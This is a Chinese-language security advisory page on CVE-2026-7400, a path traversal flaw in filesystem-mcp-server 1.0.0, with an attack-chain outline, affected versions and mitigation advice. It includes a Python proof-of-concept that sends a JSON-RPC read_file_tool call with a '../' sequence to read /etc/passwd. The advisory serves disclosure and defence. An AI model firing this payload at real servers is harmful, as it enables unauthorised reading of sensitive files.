IPBUF安全漏洞报告
English
CVE-2026-7400 CVSS 7.3 高危

CVE-2026-7400 filesystem-mcp-server路径遍历漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-7400
漏洞类型
路径遍历
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
geekgod382/filesystem-mcp-server

相关标签

路径遍历Path Traversalfilesystem-mcp-serverCVE-2026-7400文件读取漏洞无需认证

漏洞概述

geekgod382/filesystem-mcp-server 1.0.0版本存在路径遍历漏洞。该漏洞源于server.py中is_path_allowed函数对read_file_tool/write_file_tool组件的路径校验不严。攻击者无需认证即可远程利用此漏洞,通过构造恶意路径读取或写入任意文件。目前该漏洞利用方式已公开,风险较高,建议立即升级至1.1.0版本修复。

技术细节

该漏洞的核心在于geekgod382/filesystem-mcp-server项目的server.py文件中的is_path_allowed函数未能正确处理路径验证逻辑。在处理read_file_tool和write_file_tool组件的请求时,程序未对用户提供的路径参数进行充分的规范化处理(如解析'../'序列或绝对路径)。由于CVSS向量显示攻击无需用户交互且无需权限(PR:N),远程攻击者可以通过发送特制的网络请求,利用目录遍历序列绕过安全限制。成功利用后,攻击者能够读取服务器上的敏感文件(如配置文件、密钥)或写入恶意数据,导致信息泄露或系统完整性受损。官方已在1.1.0版本中通过commit 45364545fc60dc80aadcd4379f08042d3d3d292e修复了该逻辑缺陷。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在运行易受攻击的 filesystem-mcp-server 1.0.0 版本,并确定其服务接口开放。
STEP 2
2. 构造恶意载荷
攻击者利用 read_file_tool 或 write_file_tool 组件接口,构造包含路径遍历字符(如 '../')的恶意 JSON 请求参数,旨在绕过 is_path_allowed 函数的检查。
STEP 3
3. 发起攻击
攻击者向目标服务器发送特制的网络请求,无需经过身份认证即可触发漏洞。
STEP 4
4. 执行未授权操作
服务器端未能正确过滤路径,导致攻击者成功读取服务器上的敏感文件(如 /etc/passwd)或在非预期目录写入文件,造成数据泄露或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # PoC for CVE-2026-7400: Path Traversal in geekgod382/filesystem-mcp-server # This script demonstrates how an unauthenticated attacker can read arbitrary files. TARGET_URL = "http://target-host:port" # Replace with actual target URL # Malicious payload using path traversal sequences to read /etc/passwd payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "read_file_tool", "arguments": { "path": "../../../../../../../etc/passwd" } }, "id": 1 } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: result = response.json() # Check if the response contains file content (structure may vary based on implementation) if "result" in result: print("[+] Exploit successful! Arbitrary file read achieved.") print("[+] File Content:") print(result.get("result", {}).get("content", "No content field found")) else: print("[-] Request sent but response format unexpected.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

geekgod382/filesystem-mcp-server 1.0.0
geekgod382/filesystem-mcp-server < 1.1.0

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或反向代理层面限制对该服务的网络访问,仅保留内部可信IP。同时,应实施严格的入站流量监控,检测并阻断包含路径遍历字符(如 '../' 或 '%2e%2e/')的恶意请求,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表